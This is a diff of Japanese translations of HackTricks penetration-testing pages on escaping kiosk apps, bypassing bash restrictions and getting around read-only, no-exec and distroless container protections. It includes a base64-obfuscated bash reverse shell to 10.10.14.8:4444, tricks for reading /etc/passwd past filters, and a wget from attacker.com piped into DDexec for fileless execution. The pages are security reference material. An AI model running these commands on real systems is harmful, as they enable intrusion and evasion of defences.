| -## ショートカット +### ショートカット -- Sticky Keys – SHIFTを5回押す -- Mouse Keys – SHIFT+ALT+NUMLOCK -- High Contrast – SHIFT+ALT+PRINTSCN -- Toggle Keys – NUMLOCKを5秒間押し続ける -- Filter Keys – 右SHIFTを12秒間押し続ける -- WINDOWS+F1 – Windows検索 -- WINDOWS+D – デスクトップを表示 -- WINDOWS+E – Windows Explorerを起動 -- WINDOWS+R – 実行 -- WINDOWS+U – 利便性センター -- WINDOWS+F – 検索 -- SHIFT+F10 – コンテキストメニュー -- CTRL+SHIFT+ESC – タスクマネージャー -- CTRL+ALT+DEL – 新しいWindowsバージョンのスプラッシュスクリーン -- F1 – ヘルプ F3 – 検索 -- F6 – アドレスバー -- F11 – Internet Explorer内でのフルスクリーンの切り替え -- CTRL+H – Internet Explorerの履歴 -- CTRL+T – Internet Explorer – 新しいタブ -- CTRL+N – Internet Explorer – 新しいページ -- CTRL+O – ファイルを開く -- CTRL+S – 保存 CTRL+N – 新しいRDP / Citrix -## スワイプ +* Sticky Keys – SHIFTを5回押す +* Mouse Keys – SHIFT+ALT+NUMLOCK +* High Contrast – SHIFT+ALT+PRINTSCN +* Toggle Keys – NUMLOCKを5秒間押し続ける +* Filter Keys – 右SHIFTを12秒間押し続ける +* WINDOWS+F1 – Windows検索 +* WINDOWS+D – デスクトップを表示 +* WINDOWS+E – Windowsエクスプローラを起動 +* WINDOWS+R – 実行 +* WINDOWS+U – 利便性センター +* WINDOWS+F – 検索 +* SHIFT+F10 – コンテキストメニュー +* CTRL+SHIFT+ESC – タスクマネージャー +* CTRL+ALT+DEL – 新しいWindowsバージョンのスプラッシュスクリーン +* F1 – ヘルプ F3 – 検索 +* F6 – アドレスバー +* F11 – Internet Explorer内でのフルスクリーンの切り替え +* CTRL+H – Internet Explorerの履歴 +* CTRL+T – Internet Explorer – 新しいタブ +* CTRL+N – Internet Explorer – 新しいページ +* CTRL+O – ファイルを開く +* CTRL+S – 名前を付けて保存 CTRL+N – 新しいRDP / Citrix +### スワイプ * 左側から右側にスワイプして、すべての開いているウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスします。 * 右側から左側にスワイプして、アクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスします。 * 上端からスワイプして、フルスクリーンモードで開かれたアプリのタイトルバーを表示します。 -* 下から上にスワイプして、フルスクリーンアプリでタスクバーを表示します。 +* 下端から上にスワイプして、フルスクリーンアプリでタスクバーを表示します。 -## Internet Explorerのトリック +### Internet Explorerのトリック -### 'Image Toolbar' +#### 'Image Toolbar' 画像をクリックすると画像の左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャー」を開くことができます。KioskはInternet Explorerを使用する必要があります。 -### シェルプロトコル +#### シェルプロトコル -これらのURLを入力してエクスプローラービューを取得します: +次のURLを入力してエクスプローラービューを取得します: * `shell:Administrative Tools` * `shell:DocumentsLibrary` @@ -164,49 +164,39 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( * `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワークプレイス * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer -## ファイル拡張子の表示 +### ファイル拡張子の表示 -詳細は次のページを参照してください:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) +詳細については、このページをチェックしてください:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) -# ブラウザのトリック +## ブラウザのトリック -iKatのバージョンをバックアップします: +iKatバージョンのバックアップ: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ -JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラーにアクセスします:`document.write('')` -出典:https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 +JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラーにアクセスします:`document.write('')`\ +出典:https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 -# iPad +## iPad -## ジェスチャーとボタン - -* 4本(または5本)の指で上にスワイプ/ホームボタンを2回タップ:マルチタスクビューを表示してアプリを切り替えます +### ジェスチャーとボタン +* 4本(または5本)の指で上にスワイプ/ホームボタンをダブルタップ:マルチタスクビューを表示してアプリを切り替える * 4本または5本の指で片方向にスワイプ:次の/前のアプリに切り替えるため - -* 5本の指で画面をつまむ/ホームボタンをタッチ/画面下部から上に1本の指で素早くスワイプ:ホームにアクセスするため - -* 画面下部から1-2インチ上に1本の指でゆっくりスワイプ:ドックが表示されます - +* 5本の指で画面をつまむ/ホームボタンをタッチ/画面下部から上に向かって1本の指で素早くスワイプ:ホームにアクセス +* 画面下部から1-2インチ上に向かって1本の指でゆっくりスワイプ:ドックが表示されます * 画面上部から1本の指で下にスワイプ:通知を表示します - * 画面の右上隅から1本の指で下にスワイプ:iPad Proのコントロールセンターを表示します - -* 画面の左端から1-2インチの1本の指でスワイプ:今日のビューを表示します - +* 画面の左端から1-2インチの指で素早くスワイプ:今日のビューを表示します * 画面の中央から右または左に素早く1本の指でスワイプ:次の/前のアプリに切り替えます +* 上部右端のOn/**Off**/Sleepボタンを押し続ける + スライドを右まで移動:電源を切る +* 上部右端のOn/**Off**/Sleepボタンとホームボタンを数秒押し続ける:強制的に電源を切る +* 上部右端のOn/**Off**/Sleepボタンとホームボタンを素早く押す:画面左下にポップアップするスクリーンショットを撮影します。両方のボタンを同時に非常に短く押すと、数秒間押し続けるかのようにハードパワーオフが実行されます。 -* iPadの右上隅にあるOn/**Off**/Sleepボタンを押し続ける + スライドを右まで移動する:電源を切ります +### ショートカット -* iPadの右上隅にあるOn/**Off**/Sleepボタンを押し続ける + ホームボタンを数秒間押す:強制的に電源を切ります - -* iPadの右上隅にあるOn/**Off**/Sleepボタンを押し続ける + ホームボタンを素早く押す:画面左下にポップアップするスクリーンショットを撮影します。両方のボタンを同時に非常に短く押すと、数秒間押し続けるかのようにハードパワーオフが実行されます。 - -## ショートカット - -iPadキーボードまたはUSBキーボードアダプターを持っている必要があります。アプリケーションからの脱出に役立つショートカットのみをここに表示します。 +iPadキーボードまたはUSBキーボードアダプターを持っている必要があります。アプリケーションからの脱出に役立つショートカットのみがここに表示されます。 | キー | 名前 | | --- | ------------ | @@ -221,9 +211,9 @@ iPadキーボードまたはUSBキーボードアダプターを持っている | ↑ | Up Arrow | | ↓ | Down Arrow | -### システムショートカット +#### システムショートカット -これらのショートカットは、iPadの視覚設定および音声設定に関連しています。 +これらのショートカットは、iPadの視覚設定および音声設定に関するものです。 | ショートカット | アクション | | -------- | ------------------------------------------------------------------------------ | @@ -237,7 +227,7 @@ iPadキーボードまたはUSBキーボードアダプターを持っている | F12 | 音量を上げる | | ⌘ Space | 利用可能な言語のリストを表示します。選択するには、再度スペースバーをタップします。 | -### iPadナビゲーション +#### iPadナビゲーション | ショートカット | アクション | | -------------------------------------------------- | ------------------------------------------------------- | @@ -248,7 +238,7 @@ iPadキーボードまたはUSBキーボードアダプターを持っている | ⌘\~ | 最後のアプリに移動 | | ⌘⇧3 (Command-Shift-3) | スクリーンショット(左下にホバーして保存または操作) | | ⌘⇧4 | スクリーンショットを撮影してエディタで開く | -| ⌘を押し続ける | アプリ用の利用可能なショートカットのリスト | +| ⌘を押して押し続ける | アプリ用の利用可能なショートカットのリスト | | ⌘⌥D (Command-Option/Alt-D) | ドックを表示 | | ^⌥H (Control-Option-H) | ホームボタン | | ^⌥H H (Control-Option-H-H) | マルチタスクバーを表示 | @@ -260,68 +250,67 @@ iPadキーボードまたはUSBキーボードアダプターを持っている | ⌥ ↓ (Option-下矢印) | 下にスクロール | | ⌥↑ (Option-上矢印) | 上にスクロール | | ⌥←または⌥→ (Option-左矢印またはOption-右矢印) | 左または右にスクロール | -| ^⌥S (Control-Option-S) | VoiceOverスピーチをオンまたはオフにする | +| ^⌥S (Control-Option-S) | VoiceOverスピーチのオン/オフ | | ⌘⇧⇥ (Command-Shift-Tab) | 前のアプリに切り替える | | ⌘⇥ (Command-Tab) | 元のアプリに戻る | -| ←+→、次にOption + ←またはOption+→ | ドックを通じてナビゲートする | -### Safariのショートカット +| ←+→、次にOption + ←またはOption+→ | ドックを通じてナビゲート | +#### Safariのショートカット | ショートカット | アクション | -| ----------------------- | ----------------------------------- | -| ⌘L (Command-L) | ロケーションを開く | -| ⌘T | 新しいタブを開く | -| ⌘W | 現在のタブを閉じる | -| ⌘R | 現在のタブを更新する | -| ⌘. | 現在のタブの読み込みを停止する | -| ^⇥ | 次のタブに切り替える | +| ----------------------- | ---------------------------------- | +| ⌘L (Command-L) | ロケーションを開く | +| ⌘T | 新しいタブを開く | +| ⌘W | 現在のタブを閉じる | +| ⌘R | 現在のタブを更新する | +| ⌘. | 現在のタブの読み込みを停止する | +| ^⇥ | 次のタブに切り替える | | ^⇧⇥ (Control-Shift-Tab) | 前のタブに移動する | -| ⌘L | テキスト入力/URLフィールドを選択して修正する | -| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(複数回使用可能) | -| ⌘\[ | ブラウジング履歴で1ページ戻る | -| ⌘] | ブラウジング履歴で1ページ進む | -| ⌘⇧R | リーダーモードをアクティブにする | +| ⌘L | テキスト入力/URLフィールドを選択して修正する | +| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(複数回使用可能) | +| ⌘\[ | ブラウジング履歴で1ページ戻る | +| ⌘] | ブラウジング履歴で1ページ進む | +| ⌘⇧R | リーダーモードをアクティブにする | -### メールのショートカット +#### メールのショートカット -| ショートカット | アクション | -| ----------------------- | -------------------------- | -| ⌘L | ロケーションを開く | -| ⌘T | 新しいタブを開く | -| ⌘W | 現在のタブを閉じる | -| ⌘R | 現在のタブを更新する | -| ⌘. | 現在のタブの読み込みを停止する | +| ショートカット | アクション | +| -------------------------- | ---------------------- | +| ⌘L | ロケーションを開く | +| ⌘T | 新しいタブを開く | +| ⌘W | 現在のタブを閉じる | +| ⌘R | 現在のタブを更新する | +| ⌘. | 現在のタブの読み込みを停止する | | ⌘⌥F (Command-Option/Alt-F) | メールボックス内を検索する | -# 参考文献 +## 参考文献 * [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html) * [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html) * [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) * [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) +#### [WhiteIntel](https://whiteintel.io) -### [WhiteIntel](https://whiteintel.io) +
-
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンであり、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、企業やその顧客が**stealer malwares**によって**compromised**されていないかをチェックするための**無料**機能を提供する**dark-web**を活用した検索エンジンです。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %}
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksをPDFでダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
diff --git a/linux-hardening/bypass-bash-restrictions/README.md b/linux-hardening/bypass-bash-restrictions/README.md index 4861ed669..6c427d80c 100644 --- a/linux-hardening/bypass-bash-restrictions/README.md +++ b/linux-hardening/bypass-bash-restrictions/README.md @@ -1,24 +1,24 @@ -# Linuxの制限をバイパスする +# Linux制限のバイパス
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する -- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
-
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -30,7 +30,7 @@ HackTricksをサポートする他の方法: echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` -### 短いRevシェル +### 短いRev shell ```bash #Trick from Dikline #Get a rev shell with @@ -93,7 +93,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` -### 禁止されたスペースをバイパスする +### 禁止されたスペースをバイパス ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -126,7 +126,7 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` -### バックスラッシュとスラッシュをバイパスする +### バックスラッシュとスラッシュのバイパス ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd @@ -135,7 +135,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ```bash bash<<<$(base64 -d<<
+
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** できます。\ -今すぐアクセス: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -350,12 +350,12 @@ ln /f* ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください -* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。 -* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。 +* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。 diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 4cf8f9c66..ede14ca14 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -1,35 +1,35 @@ -# ファイルシステム保護のバイパス:読み取り専用 / 実行不可 / Distroless +# バイパスFS保護: 読み取り専用 / 実行不可 / Distroless
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する * **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-
+
-**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。 +**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} ## 動画 -以下の動画では、このページで言及されているテクニックについて詳しく説明されています: +以下の動画では、このページで言及されているテクニックがより詳しく説明されています: -* [**DEF CON 31 - ステルスおよび回避のためのLinuxメモリ操作の探索**](https://www.youtube.com/watch?v=poHirez8jk4) -* [**DDexec-ngおよびインメモリdlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) +* [**DEF CON 31 - Linuxメモリ操作の探索**](https://www.youtube.com/watch?v=poHirez8jk4) +* [**DDexec-ngとインメモリdlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) ## 読み取り専用 / 実行不可シナリオ -**Linuxマシンが**特にコンテナで**読み取り専用(ro)ファイルシステム保護**でマウントされることがますます一般的になっています。これは、`securitycontext`で**`readOnlyRootFilesystem: true`**を設定するだけで、roファイルシステムでコンテナを実行するのが簡単だからです: +**読み取り専用(ro)ファイルシステム保護**が**Linuxマシン**で**より一般的**になってきており、特にコンテナで見られます。これは、roファイルシステムでコンテナを実行するのは、`securitycontext`で**`readOnlyRootFilesystem: true`**を設定するだけで簡単だからです:
apiVersion: v1
 kind: Pod
@@ -44,30 +44,30 @@ securityContext:
     command: ["sh", "-c", "while true; do sleep 1000; done"]
 
-しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能のままなので、ディスクに書き込むことができないというのは偽物です。ただし、このフォルダは**実行不可保護**でマウントされるため、ここにバイナリをダウンロードしても**実行できません**。 +しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能のままなので、ディスクに書き込むことができないわけではありません。ただし、このフォルダは**実行不可保護**でマウントされるため、ここにバイナリをダウンロードしても**実行できません**。 {% hint style="warning" %} -レッドチームの観点からすると、これは**バイナリをダウンロードして実行するのが複雑**になります(バックドアや`kubectl`のような既存のシステムにないバイナリを含む)。 +レッドチームの観点からすると、これにより、システムにないバイナリ(バックドアや`kubectl`のような列挙ツール)を**ダウンロードして実行するのが複雑**になります。 {% endhint %} -## 最も簡単なバイパス:スクリプト +## 最も簡単なバイパス: スクリプト -バイナリを言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh`が存在する場合)や**Pythonスクリプト**(`python`がインストールされている場合)など、**任意のスクリプトを実行**できます。 +バイナリを言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh`がインストールされている場合)や**Pythonスクリプト**(`python`がインストールされている場合)など、**任意のスクリプトを実行**できます。 -ただし、これだけではバイナリバックドアや実行する必要がある他のバイナリツールを実行するのには十分ではありません。 +ただし、これだけではバイナリバックドアや他の実行する必要があるバイナリツールを実行するのには十分ではありません。 ## メモリバイパス -ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行する**のが最善です。なぜなら、**その保護はそこには適用されない**からです。 +ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行**するのが最善です。なぜなら、**保護がそこには適用されない**からです。 -### FD + execシスコールバイパス +### FD + exec syscall バイパス -**Python**、**Perl**、または**Ruby**などの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd`シスコール)、これらの保護によって保護されないため、**fdをファイルとして実行する**という**`exec`シスコール**を呼び出すことができます。 +マシン内に**Python**、**Perl**、**Ruby**などの強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd`システムコール)、これらの保護によって保護されないため、**fdをファイルとして実行する**という**`exec`システムコール**を呼び出すことができます。 -これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮されb64エンコードされた**スクリプトが生成され、`create_memfd`シスコールを呼び出して作成された**fd**に**デコードおよび解凍する**手順が含まれ、それを実行する**exec**シスコールが呼び出されます。 +これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮されb64エンコード**されたスクリプトが生成され、`create_memfd`システムコールを呼び出して**バイナリを保存**し、**exec**システムコールを呼び出して実行する**手順**が記述された指定された言語のスクリプトが生成されます。 {% hint style="warning" %} -これは、PHPやNodeなどの他のスクリプト言語では機能しないため、スクリプトから**生のシスコールを呼び出すデフォルトの方法**がないため、`create_memfd`を呼び出して**バイナリを保存するメモリfd**を作成することはできません。 +これは、PHPやNodeなどの他のスクリプト言語では**スクリプトから生のシステムコールを呼び出すデフォルトの方法**がないため、`create_memfd`を呼び出して**バイナリを保存するためのメモリfd**を作成することはできません。 また、`/dev/shm`内のファイルで**通常のfd**を作成しても、**実行不可保護**が適用されるため、実行できません。 {% endhint %} @@ -77,7 +77,7 @@ securityContext: [**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、**`/proc/self/mem`**を上書きすることで、**自分自身のプロセスのメモリを変更**する技術であり、**プロセスが実行しているアセンブリコード**を制御することで、**シェルコード**を書き込み、プロセスを**任意のコードを実行**するように「変異」させることができます。 {% hint style="success" %} -**DDexec / EverythingExec**を使用すると、**自分自身のメモリから**自分自身の**シェルコード**または**任意のバイナリ**を**ロードして実行**できます。 +**DDexec / EverythingExec**を使用すると、**自分自身のシェルコード**または**メモリ**から**任意のバイナリ**を**ロードして実行**できます。 {% endhint %} ```bash # Basic example @@ -85,9 +85,9 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo ``` ### MemExec -[**Memexec**](https://github.com/arget13/memexec)はDDexecの自然な次のステップです。これは**DDexecシェルコードをデーモン化**したもので、異なるバイナリを実行したいときには、DDexecを再起動する必要はありません。代わりに、DDexec技術を使用してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリをロードして実行**できます。 +[**Memexec**](https://github.com/arget13/memexec)はDDexecの自然な次のステップです。これは**DDexecシェルコードをデーモン化**したもので、異なるバイナリを実行したいときには、DDexecを再起動する必要はありません。代わりに、DDexec技術を使用してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリをロードして実行**することができます。 -**memexecを使用してPHPリバースシェルからバイナリを実行する例**は、[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。 +**memexecを使用してPHPリバースシェルからバイナリを実行する例**は、[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)にあります。 ### Memdlopen @@ -97,28 +97,48 @@ DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memd ### Distrolessとは -Distrolessコンテナには、ライブラリやランタイム依存関係など、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネント**だけが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは含まれていません。 +Distrolessコンテナには、ライブラリやランタイム依存関係など、**特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネント**のみが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。 -Distrolessコンテナの目標は、**不要なコンポーネントを排除**し、悪用される可能性のある脆弱性の数を最小限に抑えることで、コンテナの攻撃面を**縮小**することです。 +Distrolessコンテナの目標は、**不要なコンポーネントを排除**することにより、コンテナの攻撃面を減らし、悪用される可能性のある脆弱性の数を最小限に抑えることです。 ### リバースシェル -Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。`ls`、`whoami`、`id`などのバイナリも見つけることはできません。これらは通常、システムで実行するものです。 +Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つけることはできません。これらは通常システムで実行するものです。 {% hint style="warning" %} -したがって、通常どおりに**リバースシェル**を取得したり、システムを**列挙**することはできません。 